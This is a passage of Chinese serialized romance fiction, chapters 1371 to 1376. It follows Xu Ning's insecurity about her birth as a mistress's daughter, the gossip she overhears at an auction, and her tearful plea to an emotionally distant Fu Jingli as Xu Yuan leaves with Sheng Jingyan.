甚至,那双深邃的眼眸里,也看不出多少激烈的情感波动,此刻,只是那样静静地、专注地看着她。 然而,就是这份专注,这份沉默的注视,让许愿的心跳,在这一刻,仿佛漏掉了一拍。 她整个人,像是被一道无形的电流击中,从指尖到心底,都泛起一阵细微的麻意。 那双平日里总是清冷疏离的眼眸,在与傅京礼的目光相触的瞬间,闪过一丝极快的、难以捕捉的情绪波动,像是平静湖面下悄然涌动的暗流。 时间仿佛在这一刻静止了。 周遭的一切喧嚣,都成了模糊的背景音。 盛景炎脸上的笑容,在傅京礼唤出“许愿”这个名字的瞬间,便彻底凝固了。 他眼中的温柔与亲昵,瞬间被一片冰冷的寒霜所取代。 他几乎是立刻,带着一种近乎本能的占有欲和警惕,侧身一步,不动声色却又无比坚决地挡在了许愿的身前。 他的身体隔绝了傅京礼投向许愿的所有目光。 他看着傅京礼,脸上依旧挂着那抹笑,那笑容甚至比之前更加灿烂,更加完美无缺。 然而,那双眼睛里,却只剩下彻骨的冷意。但那眼神里,充满了警告、嘲讽。 “傅先生,”盛景炎的声音,此刻也恢复了惯有的清冷与疏离,带着一丝若有若无的嘲弄,“你的女伴,你的‘情人’,”他刻意加重了“情人”两个字,语气里充满了讽刺,目光甚至若有若无地扫了一眼一旁脸色惨白的许宁,“在你身边。不要再喊错名字了。” 空气仿佛再次凝固。 三个人之间,形成了一种极其微妙而紧张的平衡。 许愿站在盛景炎身后,目光越过他的肩膀,与傅京礼的目光在空中短暂地交汇,又迅速错开。 傅京礼看着盛景炎那张带着笑却满是冷意的脸,又透过他的肩膀,看着许愿那张清冷却带着一丝不易察觉的慌乱的面容。 他眼底的情绪,翻涌得更加厉害,最终,却化为一片更深的晦暗与沉寂。 许愿轻轻吸了一口气,压下心头纷乱的思绪,重新敛起所有的情绪,恢复了那副清冷如霜的模样。 她没有再去看傅京礼,而是微微侧头,对盛景炎轻声道:“我们走吧。” 第1371章 她不愿意退让,也不敢退让 许愿的声音,清冷依旧,仿佛刚才那片刻因为傅京礼的心跳失衡,从未发生过。 盛景炎闻言,脸上的笑容更深了,他自然地牵起许愿的手,带着她,转身离开。 在转身的瞬间,他回头深深地看了傅京礼一眼,那眼神里的警告和胜利者的姿态,不言而喻。 傅京礼在原地,目送着他们的背影渐渐远去。 他周身的气息,在那一刻,仿佛沉入了更深的谷底。 那份被强行压抑的情感,在盛景炎胜利的姿态和许愿的离去中,化为了更深的晦暗与沉默。 许宁在一旁,看着这一切,看着傅京礼的目光追随着许愿,她刚才的孤注一掷,非但没有赢得傅京礼的关注,反而像一个笑话,将她自己推入了更加尴尬和绝望的境地。 她眼中的泪水,再次不受控制地涌了上来,这一次,是纯粹的绝望和委屈。 傅京礼的目光,依旧胶着在许愿的背影上,久久无法收回。 那抹纤细而挺拔的身影,与盛景炎并肩而行,步伐间仿佛有着一种无形的默契。 他们一前一后,融入了衣香鬓影的人群中,身影渐渐模糊,却依旧牢牢占据着傅京礼的整个视线。 明明是截然不同的两个人,一个清冷如霜,一个张扬如火,性格上仿佛南辕北辙,水火不容。可偏偏,当他们走在一起时,却又呈现出一种奇异的和谐与般配,仿佛天造地设的一对璧人,旁人再如何努力,都插不进那两人之间紧密的气场。那种般配,并非源于外貌的登对,而是源于灵魂深处的某种共鸣,一种旁人难以介入的磁场。 傅京礼的喉结,在静默中微微滚动了一下,像是艰难地咽下了一口涩意。 他眼眸晦暗深邃得几乎要将人吸进去。那里面翻涌着复杂难辨的情绪。 他说不清是什么感受,但就是很在意,说不出的在意。 他看着许愿的手,被盛景炎自然地牵着,看着他们头也不回地离开,周遭的喧嚣,似乎在这一刻都成了遥远的背景音,他的世界里,只剩下那两个渐行渐远的背影,以及心头挥之不去的沉闷。 就在这时,一道细微的、带着颤音的声响,打破了这短暂的僵持。 是许宁。 她一直在傅京礼的身侧,像一个被遗忘的影子,小心翼翼地观察着他的情绪变化。 当她看到傅京礼的目光,依旧固执地追随着许愿,那份专注,那份深沉,让她的心,猛地一沉,仿佛坠入了冰窖。 她心里“咯噔”一下,一股强烈的恐慌和不安,瞬间攫住了她。 她知道,自己在傅京礼心中的分量,或许比不上许愿。 她更清楚,自己的身份,是她此生都无法摆脱的枷锁和原罪。 许宁深知,自己的身份,是“上不得台面”的。 在傅京礼所处的这个世界里,她的出身,就像一块洗不掉的污点,会让她永远抬不起头。所以,她才更加渴望傅京礼的维护,渴望他能当众承认她,给她一个名正言顺的身份,让她可以堂堂正正地站在他身边,而不是像现在这样,像个见不得光的影子,随时可能被抛弃。 她不敢跟傅京礼把话说得太清楚,不敢直接问他,自己在他心中到底算什么。 她害怕,害怕一旦摊牌,一旦傅京礼真正了解了她那不堪的过往和复杂的家庭背景,就会毫不犹豫地嫌弃她,将她推开。 尤其是当她与许愿站在一起被拿来比较时,那种自卑和恐慌,便会无限放大,将她衬托得像个可笑的小丑,一个努力模仿天鹅的丑小鸭,无论怎么挣扎,都无法掩盖骨子里的卑微。 尽管傅京礼曾经亲口对她说过“不在意过去的事情”,那温柔的话语,曾一度让她燃起过希望。 但扪心自问,许宁心里比谁都清楚,自己是远远比不上许愿的。 许愿,成绩优异,容貌出众,气质清冷,仿佛生来就站在云端,是多少人仰望的对象。 而她许宁呢?不说那平平无奇、甚至有些糟糕的成绩,单论相貌,她与许愿之间也隔着一条无法逾越的鸿沟。 许愿是那杯最浓烈醇厚的红酒,色泽深邃,香气馥郁,只需一眼,便能让人沉醉,让人愿意为她倾尽所有,细细品味她身上的每一丝韵味。 而她自己,充其量不过是一杯寡淡无味的饮料,甚至为了掩盖本身的贫瘠,还添加了过多的香精,徒有其表,却经不起细细品味。 没有人会对劣质的饮料上瘾,尤其是傅京礼这种身份尊贵、见惯了世间美好的人。 他们追求的,是极致的品味,是灵魂的共鸣,而非表面的浮华。 不说别的,傅京礼这种身份的人,眼界和格局,都注定他不会选择一个像她这样,身份不清白的女孩。 就算他真的要娶一个普通出身的女孩,那女孩也必定是清清白白,身家简单,能给他带来正面助力的。 而她呢? 她的身份,从出生起,就被打上了“不清白”的烙印。 她是小三的女儿,这个标签,像一道诅咒,伴随着她的成长,让她生来就要承受旁人的指指点点和暗地里的唾弃。 她的存在,仿佛就是原罪。这份原罪,让她在傅京礼的世界里,永远像个闯入者,格格不入,随时可能被驱逐。 可她真的不甘心啊! 这份不甘,像一团火,在她心底熊熊燃烧。 她的人生,前十几年都过得灰暗而卑微,是傅京礼的出现,像一道光,照亮了她的世界。她好不容易才攀附上他,像溺水的人抓住了最后一根救命稻草,用尽了所有的力气和手段。 她以为,只要足够努力,足够贴近他,就能改变自己的命运,就能拥有一个全新的、光明的未来。 她不愿意退让,也不敢退让。 一旦退让,她就会被打回原形,重新坠入那无边的黑暗和深渊。 她付出了那么多,忍受了那么多,甚至不惜与许愿为敌,不惜在傅京礼面前扮演一个温柔顺从的角色,就是为了能留在他身边。她不想放手,也不能放手。 第1372章 她永远是个异类 巨大的恐慌和委屈,像潮水般将她淹没。 她的眼眶瞬间红了,泪水在眼眶里打着转,随时可能决堤。 她不敢大声哭出来,不敢在这样的场合失态,只能将所有的委屈和不安,化作一声细若蚊蚋、带着无尽委屈和试探的呼唤。 “阿礼哥哥……” 她的声音,轻得仿佛一片羽毛,飘在空气中,带着微微的颤抖和浓重的鼻音。 她小心翼翼地抬起头,用那双含着泪的眼眸,怯生生地望着傅京礼的侧脸,仿佛在等待着一场审判。 “你在因为我的身份……生气吗?” 这句话精准地扎在了傅京礼思绪的某处。 他缓缓收回了望向远方的目光,转过头,终于将视线落在了许宁的脸上。 此刻的她,妆容有些许的狼狈,眼眶通红,泪水在眼眶里打转,一副我见犹怜的模样。 傅京礼没有立刻回答。 他的目光,从最初的深邃晦暗,变得有些复杂难辨。 他看着许宁,看着她脸上那真实的恐慌和不安,看着她眼中那浓得化不开的委屈。 他并非真的在意她的身份,至少,在他说出“不在意过去的事情”时,他是真心这样想的。 他维护她,有他对许宁的几分怜惜,也有他对许家、对过往一些事情的考量。 但此刻,许宁的这句质问,却让他不得不重新审视这份关系。 他想起许宁的小心翼翼,想起她的讨好和卑微,也想起她方才当众为他“辩护”时的孤注一掷。她的恐慌,并非空穴来风。她的身份,确实是她无法摆脱的枷锁,也是横亘在他们之间,一道无法忽视的沟壑。 他可以不在乎,但这个世界,傅家的长辈,他所在圈子的眼光,会不在乎吗? 他维护她,是否真的能护她周全? 还是,只是给了她一个虚幻的泡影,让她在短暂的光明后,坠入更深的黑暗? 傅京礼的沉默,像一块巨石,沉甸甸地压在许宁的心上。 她脸上的血色,一点点褪去,只剩下苍白和无助。 她紧紧咬着下唇,努力不让自己哭出声,但肩膀却在微微颤抖。 那双望着他的眼睛,充满了哀求和恐惧,像一只被遗弃的小兽。 时间仿佛凝固了。 周围的人群依旧在流动,欢声笑语依旧在继续,但在这小小的角落,却仿佛隔绝了整个世界。 傅京礼的目光,在许宁的脸上停留了许久,最终,他缓缓地,轻轻地叹了口气。 那声叹息,很轻,却充满了无奈和复杂。 他没有回答许宁的问题,只是伸出手,动作有些僵硬地,拍了拍她的肩膀,用一种略显沙哑的声音说道:“别多想。” 许宁怎么能不多想? 她的心,早已被猜忌与不安的藤蔓缠绕得密不透风。 傅京礼方才那片刻的怔忡,那目光不由自主追随着许愿离去的背影,像一根细密的针,精准地扎在了她最敏感的神经上。 这比任何一句斥责、任何一个冷漠的眼神都更让她恐慌。因为,这意味着,傅京礼的心,开始关注许愿了。这个认知,像冰冷的毒蛇,缓缓爬上她的脊背,让她从心底生出一股寒意。 她太害怕了,害怕自己好不容易抓住的浮木,会因为许愿的出现而瞬间崩塌。 她之所以在许愿面前趾高气昂,甚至不惜当众大声嘲讽“许愿爱慕傅京礼,日记本里写的都是傅京礼”,看似是在向许愿炫耀自己的“胜利”,是在自豪、在骄傲,实则,这恰恰是她内心极度自卑与恐慌的外在表现。 她需要用这种近乎歇斯底里的张扬,来掩饰自己内心的虚弱,来给自己壮胆。 她要向许愿宣告,也是向自己宣告:“你看,你爱的男人,现在是我的!” 这种行为,本质上是一种防御机制,一种弱者在强者面前,试图通过外在的喧嚣来弥补内在的不足。如果不是自卑到了极点,如果不是内心充满了对失去的恐惧,她又何至于要将一场私密的情感较量,搬到大庭广众之下,用如此激烈的方式来证明自己的存在感? 她要的,不过是那一瞬间的、虚幻的优越感,好让她能在与许愿的对峙中,不那么狼狈。 然而,这份嚣张与跋扈,只敢在许愿面前展露。 在许愿面前,她是刺猬,是带刺的玫瑰,用尖锐的言语武装自己,试图刺痛对方,也保护自己。 可一旦回到傅京礼身边,她便瞬间卸下了所有的伪装,变回了那个温顺、委屈,甚至有些楚楚可怜的许宁。 她知道,在傅京礼面前,强硬和吵闹是行不通的,只会让他厌烦。她需要的是他的怜惜,他的维护,所以他必须展现出自己最柔弱、最需要保护的一面。 譬如现在,她眼眶微红,神情中带着一丝不易察觉的惶恐,像一只受惊的小鹿,小心翼翼地观察着傅京礼的情绪。 傅京礼显然也意识到了周遭投来的异样目光,以及这场风波可能带来的更多关注。 他眉头微蹙,用一种略带疏离和公事公办的语气对许宁说道:“这是在拍卖会,拍卖会还没有结束,有什么事,后面再说。” 这不仅仅是对当前场合的提醒,更是一种明确的拒绝沟通的信号。 他不打算在这里,就这件事给她一个交代,也不打算安抚她此刻汹涌的不安。 许宁的心,随着傅京礼这句话,沉到了谷底。 她怎么会不明白傅京礼的用意? 他不希望有人过多地关注他们,不希望他们的关系成为众人茶余饭后的谈资,更不希望,她的身份,在这样的场合下,被更多的人知晓、议论。 小三的女儿,这个标签,是她此生都无法洗刷的烙印,是她“拿不出手”的根源。 这个事实,像一个沉重的十字架,她背负了太久太久,早已习惯了自己的“见不得光”。 她知道,在傅京礼的世界里,她永远是个异类,是个需要被小心遮掩的存在。 巨大的委屈和羞辱感,瞬间将她淹没。 她抿了抿唇,苍白的唇瓣因为用力而失去了最后一点血色。 第1373章 谁丑谁尴尬 她抬起头,目光中充满了无助和哀求,但最终,她只是顺从地点了点头,声音轻得几乎听不见:“好,我知道的,我不会乱说的。”这句话,她说得无比艰难,每一个字都像是从喉咙里挤出来的,带着血的味道。 她不能闹,不能哭,不能给傅京礼丢脸。她必须像个懂事的、识大体的女伴,安静地站在他身边,哪怕内心早已天崩地裂。 话音才刚刚落下,她下意识地再次抬起头,目光有些茫然地扫过人群。 就在这一刻,她看到了温栩栩。 温栩栩重新回到了拍卖会场。她身上的衣服已经换下来了,不再是之前那件。 许宁没见过温栩栩身上那套新的礼服,但只要那衣服穿在温栩栩身上,便自然而然地流露出一种矜贵与不凡,让她觉得那礼服的价格必定不菲,绝非凡品。 但此刻,许宁的注意力,完全被温栩栩身上的新礼服吸引了。 温栩栩这个时候换礼服是什么意思? 一个念头,不受控制地钻进了她的脑海。 撞衫。 在上流社会的社交场合,撞衫是一件颇为尴尬的事情,尤其是当两人的气质、身份、品味有高下之分时,“谁丑谁尴尬”的定律便会显现。 许宁下意识地看了一眼自己身上的衣服,又看了一眼温栩栩身上那套明显价值不菲的新礼服,一股强烈的自卑感油然而生。 在她看来,她们两个之间,丑的、尴尬的,不应该是她自己吗? 论出身,她低微不堪,论品味,她自认无法与温栩栩相比。 按照常理,应该是她觉得与温栩栩撞衫是种耻辱,是她应该感到尴尬,甚至应该主动去换掉衣服才对。 可为什么? 为什么换衣服的是温栩栩? 这个不合常理的举动,像一把尖锐的刀,剖开了许宁内心最敏感、最脆弱的角落。她的思维,瞬间变得尖锐而偏执。 她尖锐地想温栩栩大概就是在瞧不起自己! 对,一定是这样! 温栩栩是觉得跟她穿同一件礼服是一种丢脸的行为,是觉得她们两个根本不是一个世界的人,同穿一件衣服会玷污了她的身份和品味,所以才不惜中途换装,也要与她划清界限! 这个念头一旦产生,便如同野草般在她心中疯长。她将温栩栩所有细微的表情、不经意的动作,都解读为对自己的鄙夷和不屑。 温栩栩那优雅的姿态,在她看来是居高临下的炫耀,温栩栩与旁人交谈时偶尔投来的目光,在她看来是带着怜悯和嘲弄的审视。 许宁的出身,注定了她会异常的敏锐和敏感。 她像一只刺猬,将所有的善意都解读为恶意,将所有的无意都放大为针对。 她习惯性地将自己放在一个被审判、被挑剔的位置上,所以,当温栩栩换衣服这个行为出现时,她首先想到的,就是自己被嫌弃、被鄙夷了。 这种被“瞧不起”的感觉,深深地刺痛了她,让她内心的自卑和怨恨,像毒藤一样,疯狂滋长。 她忘记了,或许温栩栩换衣服只是个人喜好,或许是衣服不合身,或许是其他原因。 但在她那被自卑和敏感扭曲的视角里,这一切,都成了针对她的、赤裸裸的羞辱。 她甚至没有勇气去质问温栩栩,只能将这份屈辱和愤恨,深深地埋在心底。 她的脸色,变得更加苍白,双手紧紧地绞在一起,指甲深深地嵌入掌心,却感觉不到丝毫的疼痛。她只是死死地盯着温栩栩的方向,眼神中充满了怨毒和不甘。 拍卖会场内,灯光依旧璀璨,宾客们低声交谈,气氛看似依旧热烈。 然而,在许宁的感知里,这一切都变了味道。 她觉得周围人的每一个眼神,似乎都在打量她,都在对她指指点点。她觉得那些低声的交谈,内容都是关于她的出身,关于她的不堪。 她像一个闯入者,一个误入天鹅群的丑小鸭,格格不入,备受瞩目,而这份瞩目,全是恶意。 她下意识地往傅京礼身边靠了靠,仿佛他是她唯一的避风港。但傅京礼的沉默和疏离,又让她感到一阵绝望。她明白,此刻,她只能靠自己。她必须挺直脊背,即使内心再如何翻江倒海,也不能在外人面前露出丝毫的怯懦。 许宁的神经,本就因温栩栩的换衣而绷紧到了极致,像一张拉满的弓弦,随时可能断裂。 她敏感地捕捉着周围每一个细微的眼神和声音,将它们都解读为对自己的审判。 就在她竭力维持着表面的平静,内心却在风暴中挣扎时,一阵压得极低,却清晰可闻的议论声,像毒蛇的信子,丝丝缕缕地钻进了她的耳朵。 “哎,你们说,温栩栩是不是觉得丢人啊?”一个带着几分刻意压低的女声,带着毫不掩饰的八卦和幸灾乐祸,“跟她穿同一件衣服,是不是觉得跌份儿,太丢脸了,所以才中途换衣服的?” “可不是嘛!”另一个声音立刻附和道,语气中充满了鄙夷和不屑,“也不看看自己是什么身份,不知道是哪家破落户出身的,以前见都没见过这号人物,也敢来参加我们圈子的拍卖会?真是林子大了什么鸟都有。” “就是,也不掂量掂量自己几斤几两。她来这儿干嘛?买什么?买得起什么?怕不是来充数的吧?”又一个声音加入进来,话语中的恶意,像冰冷的针,一根根扎在许宁的心上。 这些议论声不大,却击中了许宁最脆弱的地方。 她们口中的“破落户”、“见都没见过”、“买不起”、“充数”,每一个标签,都精准地贴在了她的身上,将她那点可怜的自尊,碾得粉碎。 “破落户”这是对她出身最直白的羞辱,她无法反驳,因为这是事实。 “见都没见过”这是对她社交圈的否定,她像个闯入者,不被这个圈子接纳。 “买不起”这是对她经济实力的嘲弄,暗示她在这里只是个陪衬,是个笑话。 “充数”这是对她存在意义的彻底抹杀,她不配拥有席位,不配参与其中。 许宁的下唇,被她自己咬得死死的,几乎要渗出血来。 第1374章 他还会心疼自己吗 一股强烈的、无法遏制的怒火,从心底最深处腾地燃起,瞬间烧遍了许宁的四肢百骸。 许宁此刻想要爆发,想要冲着那些议论的人怒骂:“你们凭什么这么说我?你们有什么资格?!” 她想要撕碎她们那副高高在上、自以为是的嘴脸,想要让她们知道,她许宁不是任人揉捏的软柿子! 她的身体因为极度的愤怒而微微颤抖,胸口剧烈地起伏着,呼吸变得急促而混乱。 她的指甲深深地抠进掌心,那点微不足道的疼痛却无法让她沸腾的血液冷静下来。 她的眼睛因为愤怒而微微发红,死死地盯着声音传来的方向,恨不得用目光将她们凌迟。 然而,就在她即将失控的边缘,一股更加强烈的、冰冷的绝望,像一盆冰水,从头浇下,瞬间浇熄了她所有的怒火。 她猛然清醒过来。 她不能。 她没有资格。 因为她知道,那些人说的是事实。 她就是那个“破落户”,就是那个“见都没见过”的小人物,就是那个“买不起”这里任何一件拍品的“充数者”。 她的身份,她的出身,就是她此生都无法洗刷的原罪。 她本来就不配出现在这里,不配站在傅京礼身边,不配进入这个金碧辉煌、纸醉金迷的世界。 这一刻,许宁感到了前所未有的屈辱和绝望。 她所有的骄傲和伪装,在现实面前,脆弱得不堪一击。 她以为自己可以凭借傅京礼的庇护,在这个圈子里站稳脚跟,哪怕只是个影子。但现实却残忍地告诉她,没有根基的庇护,是空中楼阁,是镜花水月。一旦傅京礼的庇护稍有松动,或者她自身暴露在阳光下,那些潜藏的恶意和鄙夷,便会如潮水般涌来,将她彻底淹没。 她紧咬的下唇,尝到了一丝淡淡的血腥味。这股血腥味,让她更加清醒,也更加痛苦。 可她清楚自己不能闹,不能哭,不能给傅京礼丢脸。她必须像个木头人一样,静静地站着,默默地承受着这一切。 她要让所有人看到,她许宁,即使被千夫所指,也能保持沉默,也能挺直脊梁。 这是一种近乎自虐的倔强,是她仅剩的、可怜的尊严。 她缓缓地、深深地吸了一口气,将所有的委屈、愤怒、屈辱和绝望,都强行压回心底最深的角落。她松开咬得发痛的下唇,努力地平复着自己的呼吸和颤抖的身体,脸上挤出一个比哭还难看的笑容,是的,她就是在隐忍。 她的眼神,从一开始的愤怒和怨毒,逐渐变得麻木和空洞。她不再去看那些议论的人,也不再去看温栩栩,甚至不敢去看傅京礼。 她只是低着头,像个做错事的孩子,等待着这场风暴的过去。她的心,在这一刻,仿佛死了一半。 她知道,从今天起,她在这个圈子里的标签,又多了一个。 那个被温栩栩嫌弃到要换衣服的、丢脸的、不配出现的“破落户”。 拍卖会场内,表面上依旧是一片和谐与热闹。然而,在这光鲜亮丽的表象之下,却涌动着无数暗流。 那些看似优雅的名媛,那些衣冠楚楚的绅士,在谈论着艺术品和慈善的同时,也能用最恶毒的语言,去议论和审判一个“外来者”。他们的圈子,是排外的,是冷漠的,是建立在血统和财富之上的。 许宁的出现,打破了他们圈子里的某种“平衡”,自然会引来排斥和攻击。 而温栩栩换衣,无疑成了一个导火索,点燃了他们隐藏的恶意。 他们需要一个“他者”来衬托自己的高贵,而许宁,不幸成为了那个靶子。 许宁一直隐忍着,将所有的屈辱、愤怒和不甘,全都压在心底。她知道自己的身份,说白了就是见不得光的。 她像一只夜行的动物,习惯了在阴影里行走,习惯了被众人回避、被圈子排斥。 她之所以拼命收敛自己的情绪,努力在傅京礼身边扮演温顺懂事的角色,不过是为了让自己看起来不那么刺眼,不那么格格不入。 她害怕自己一不小心,就会成为傅京礼的污点,成为他事业、声誉上的拖累。 在这样的场合,许宁的自卑和不安被无限放大。她的一举一动都小心翼翼,生怕引起任何人的注意。她低下了头,像一只受惊的小鹿,蜷缩在傅京礼的身边,几乎要将自己藏进阴影里。她甚至不敢与周围的人对视,生怕那些目光里带着不屑、嘲讽或者怜悯。她只能低垂着眼眸,用浓密的睫毛遮掩住眼底的慌乱和痛苦。 但是,她终究还是渴望着傅京礼的维护。 她偶尔还是会忍不住,悄悄地将目光投向傅京礼的脸上,那眼神里充满了期待,充满了无助,也充满了卑微的祈求。 她希望傅京礼能为自己出头,哪怕只是淡淡地扫一眼那些议论的人,哪怕只是用一个眼神表达一下对自己的关心,对她来说,都是莫大的安慰和支撑。 她渴望他能像一个英雄一样,站出来保护她,将她从那些流言蜚语和恶意的目光中解救出来。 然而,傅京礼却始终没有什么反应。 他依旧维持着惯有的冷静和疏离,侧脸的线条如雕塑般冷峻,目光专注地投向拍卖台,对周围的一切仿佛充耳不闻。 他没有为她说话,没有安慰她,甚至连一个关切的眼神都没有给她。 他好像并不在意许宁是不是被侮辱了,是不是正承受着巨大的痛苦和屈辱。 许宁心想,傅京礼对自己那点喜欢,真的是微不足道,好像真的是盛景炎说过那些后傅京礼就变了副模样,好像在傅京礼的眼里他是真的更在意傅家,更在意身份地位的。 其实可以理解,任何人都会这样选择的,譬如许宁,如果傅京礼不是傅家的继承人,她也不会费尽心思勾搭上傅京礼想要当傅太太。 许宁的目光,在他的侧脸上停留了很久,很久,她想看傅京礼会不会有什么心疼自己的反应。 第1375章 是不是生气了 她仔细地观察着他脸上每一丝细微的表情,试图从那片平静的湖面下,捕捉到一丝波澜。 可是,什么都没有。 他的眼神里,没有愤怒,没有心疼,甚至连一丝不悦都没有。 他就像一尊完美的雕像,将所有的情绪都隐藏在了心底。 她望着傅京礼那张英俊却冷漠的侧脸,心中酸涩翻涌,如潮水般将她彻底淹没。 她想起自己与傅京礼的过往,想起自己为了能配得上他,付出了多少努力,她以为,只要自己足够努力,就能得到他的认可,就能在这个圈子里站稳脚跟。 但现在看来,一切都是徒劳。 她的出身,她的身份,是她永远无法跨越的鸿沟。 无论她怎么努力,在傅京礼眼中,在那些真正的名媛贵族眼中,她始终都是那个“见不得光”的许宁。 她甚至开始怀疑,傅京礼带她来参加拍卖会,究竟是出于什么目的? 是为了向众人炫耀他的“战利品”,还是仅仅因为一时兴起? 她开始怀疑,他对她的好,究竟是不是真心的? 还是只是施舍,只是怜悯?她的心,像一片在风中飘摇的落叶,找不到方向,也找不到归宿。 她想哭,想放声大哭,将所有的委屈和痛苦都哭出来。但她不能。 她必须忍着,必须坚强。 因为她是许宁,是傅京礼的女人。 她不能给他丢脸,不能让他因为自己而被别人指指点点。她只能将所有的痛苦,都深深地埋在心底,用一层厚厚的伪装,将自己包裹起来。 她感觉自己离傅京礼很近,却又很远。她可以清晰地看到他的侧脸,感受到他的呼吸,却无法触及他的内心。 她不明白,为什么他可以如此冷静,如此无情。 难道,在他的世界里,感情真的如此不值一提吗? 她望着他,眼神里充满了迷茫和痛苦。她不知道自己该怎么办,不知道这段感情,还能坚持多久。 她害怕,害怕自己有一天,会彻底失去他。她更害怕,自己会在这段感情中,彻底迷失自我。 许宁的隐忍,并非懦弱,而是一种无奈的妥协。 她知道,以她现在的身份和地位,她没有资格去要求什么,也没有能力去改变什么。 她只能默默地承受着,等待着。 但在这份隐忍之下,也孕育着不甘和怨恨。 她不甘心就这样被人践踏尊严,不甘心就这样被傅京礼忽视。 她怨恨这个圈子的虚伪和冷漠,怨恨那些人的势利和刻薄,也怨恨傅京礼的无情。 拍卖槌最终落下,最后一件拍品在聚光灯下尘埃落定,宾客们带着各自的收获或遗憾,如潮水般渐渐退散。 会场内,辉煌的灯光渐次熄灭,只留下些许昏黄的壁灯,将空间映照得如同暮色沉沉的黄昏。 空气里,还残留着名贵香水与雪茄混合的气息,以及那种上流社会特有的、浮华过后的虚无感。 许宁站在傅京礼身侧,像一株在暴风雨后被摧折的小草,摇摇欲坠。整个拍卖会期间,她像一只误入猛兽领地的幼鹿,每一道或好奇或鄙夷的目光,都像无形的针,刺得她遍体鳞伤。 她所有的委屈、期盼和不安,都如潮水般涌向傅京礼,渴望一丝庇护,一丝安慰。 然而,傅京礼从头到尾,都像一座沉默的冰山,不为所动。他没有为她出头,没有为她解围,甚至没有一个安抚的眼神。 他只是偶尔在她快要坚持不住时,会轻轻牵一下她的手,那指尖的温度,也是冷的。 临到拍卖会结束,傅京礼依旧没有为许宁做任何事。 他只是淡淡地收回目光,转身,带着许宁离开会场。 因为是私自带了许宁来,傅京礼没有安排傅家的司机,是他自己开车来的。 他沉默地走在前面,步履从容,仿佛刚才的风波与他无关。许宁低着头,紧紧跟在他身后,像一个犯了错的孩子,脚步细碎而慌乱,高跟鞋敲击在大理石地面上,发出清脆却孤寂的回响。 夜风微凉,吹在身上,带着一丝萧瑟的秋意。 傅京礼拉开车门,动作依旧优雅从容,只是眉宇间带着一丝不易察觉的疲惫。 许宁坐在副驾驶座上,双手紧紧绞着衣角,指节因为用力而泛白。 车内空间狭小而封闭,气氛压抑得让人喘不过气。 傅京礼启动车子,引擎低沉地轰鸣着,他却没有立刻驶离,只是沉默地握着方向盘,目光直视前方,侧脸的线条在昏暗的灯光下显得格外冷峻。 许宁的内心,此刻却像一团乱麻。她望着傅京礼的侧脸,心中酸涩翻涌。她知道,自己给他丢脸了,自己这个见不得光的身份,终究还是成了他的负担。她害怕,害怕他会因此而厌弃她,害怕他会像那些人一样,觉得她不配站在他身边。 她想解释,想道歉,却又不知道该如何开口。 就在傅京礼准备踩下油门的瞬间,许宁像是孤注一掷般,突然扑进了他的怀中。 她的动作带着一丝决绝和慌乱,整个人像一只寻求庇护的幼兽,不顾一切地钻进他的胸膛。 她的双手环抱住他的腰,将脸深深埋在他的胸口,声音明显带着些许哭腔,软软地、可怜兮兮地开口:“阿礼哥哥……你别生我的气好不好?” 她的声音颤抖着,带着一丝鼻音,像羽毛般轻轻搔刮着傅京礼的心。 她的身体也在微微颤抖,仿佛一只受惊的小鸟,充满了无助和惶恐,连呼吸都带着潮湿的凉意。 傅京礼的身体,在她扑进怀里的瞬间,猛地僵硬了一下。 他低头看着怀中的人儿,眉头轻轻地蹙了起来。那蹙眉并非厌恶,而是一种复杂的、难以言喻的情绪。 他看到了她眼中的惊慌和委屈,看到了她脸上的泪痕,看到了她那份小心翼翼的祈求。 她的发丝蹭着他的下巴,带着淡淡的洗发水香气,却让他感到一阵莫名的烦躁。 “阿礼哥哥,”许宁抬起头,泪眼婆娑地看着他,睫毛上还挂着晶莹的泪珠,声音哽咽着继续说道,“我知道……我知道我的身份确实上不得台面。我知道圈子里很多人都看不起情人的后代,觉得我低贱,觉得我配不上你。可是,阿礼哥哥,这不是我可以选择的啊!如果可以,我也不希望我是这样的出身,我也不想给你丢脸……可是,我真的真的很喜欢你,我不能放弃你。” 第1376章 太害怕失去她 她的声音里充满了绝望和哀求,像一只被遗弃的小猫,在寒夜里发出微弱的叫声,每一个字都带着颤抖。 “阿礼哥哥,”她再次开口,声音更加细弱,仿佛用尽了全身的力气,“我真的没有骗你,我的父亲真的喜欢的是我的母亲,他不是他们说的那样……你不要听盛景炎胡说好不好?不要因为我的身份冷落我,厌恶我好不好?”她的眼泪不停地滚落下来,一滴滴打湿了傅京礼胸前的衣襟,晕开一小片深色的水渍,也烫得他心口微微发紧。 此刻的许宁,将所有的自尊和骄傲都抛在了脑后,她只想抓住傅京礼,只想得到他的回应。 她太在意他了,太害怕失去他了。 她的眼中,充满了对傅京礼的依赖和期盼,仿佛他是她生命中唯一的救赎。 傅京礼的眸光,在她泪眼婆娑的注视下,微微闪了闪。 他的眼神深处,似乎有什么东西在悄然融化,但更多的是一种深沉的无奈。 他伸出手,轻轻地放在她的肩上,动作很轻,带着一丝安抚的意味,像是在揉一揉一只受惊的小猫。他的指尖能感受到她单薄的肩膀在微微颤抖。 他的声音低沉而平静,带着一丝不易察觉的温柔:“许宁,我没有生气。” 但她依旧带着哭腔,声音颤抖着反驳道:“可是你在拍卖会场都不理我了,不是生气还能是什么?你都不看我,也不帮我……” 傅京礼看着她,眼神复杂。他想解释,想告诉她,他不是生气,只是习惯了那种场合的处事方式,不想因为个人情绪而引起不必要的麻烦。 但看着她那张泪痕斑斑、满是惶恐的脸,他到嘴边的话,却怎么也说不出口。 他只是轻轻地揉着她的肩,试图用这个动作来安抚她的情绪。 就在这时,傅京礼不经意地抬眸,透过尚未完全关闭的车门,看到了从拍卖会场走出来的两人。 许愿和盛景炎。 夜色下,许愿穿着一袭简约的礼服,长发披肩,气质温婉而疏离。 盛景炎则一如既往地风度翩翩,他似乎担心许愿着凉,体贴地脱下了自己的西装外套,搭在了她的肩上。 他的动作自然而亲昵,带着一丝不容置喙的霸道,仿佛在宣示自己的主权。 两人相携而行,步伐一致,身影在路灯的映照下,被拉得很长很长,显得格外般配,仿佛天生的一对璧人。 盛景炎的目光,似乎早就注意到了傅京礼这边。当他看到傅京礼的车,以及车里抱作一团的两人时,嘴角勾起一抹冰冷而嘲讽的笑意。 那笑容里,充满了不屑和鄙夷。 他像是刻意一般,手臂微微收紧,将许愿揽得更近了一些。 盛景炎的挑衅,是赤裸裸的,是毫不掩饰的。 许愿似乎感觉到了盛景炎此刻情绪的异样。 